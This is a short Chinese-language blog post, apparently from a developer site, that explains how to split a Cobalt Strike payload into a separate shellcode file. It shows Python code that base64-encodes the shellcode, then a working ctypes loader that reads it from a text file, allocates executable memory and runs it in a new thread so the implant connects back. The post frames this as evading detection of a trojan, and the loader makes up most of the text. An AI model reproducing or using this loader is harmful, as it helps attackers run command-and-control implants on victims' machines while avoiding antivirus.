无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
Web极客码2 小时前
用 SSH Key 认证提升文件传输安全:SFTP/SSH 加固实战(适合站点运维与外贸站)
运维·安全·ssh
独行soc3 小时前
2026年渗透测试面试题总结-25(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
AC赳赳老秦5 小时前
2026 智能制造趋势:DeepSeek 助力“黑灯”工厂运营,实现生产流程自动化
网络·数据结构·算法·安全·web安全·prometheus·deepseek
乾元5 小时前
数据投毒:如何通过训练数据污染埋下“后门”
运维·人工智能·网络协议·安全·网络安全·系统架构·自动化
一名优秀的码农6 小时前
vulhub系列-03-Billu_b0x(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
shdwak....sad6 小时前
shiro 反序列化漏洞-CVE-2016-4437
安全
深信达沙箱6 小时前
终端沙箱数据防泄密方案
网络·安全
独行soc6 小时前
2026年渗透测试面试题总结-26(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
拍客圈7 小时前
Discuz搜索报错
服务器·网络·安全
九丝城主18 小时前
1V1音视频对话3--优化TURN 为生产安全版
安全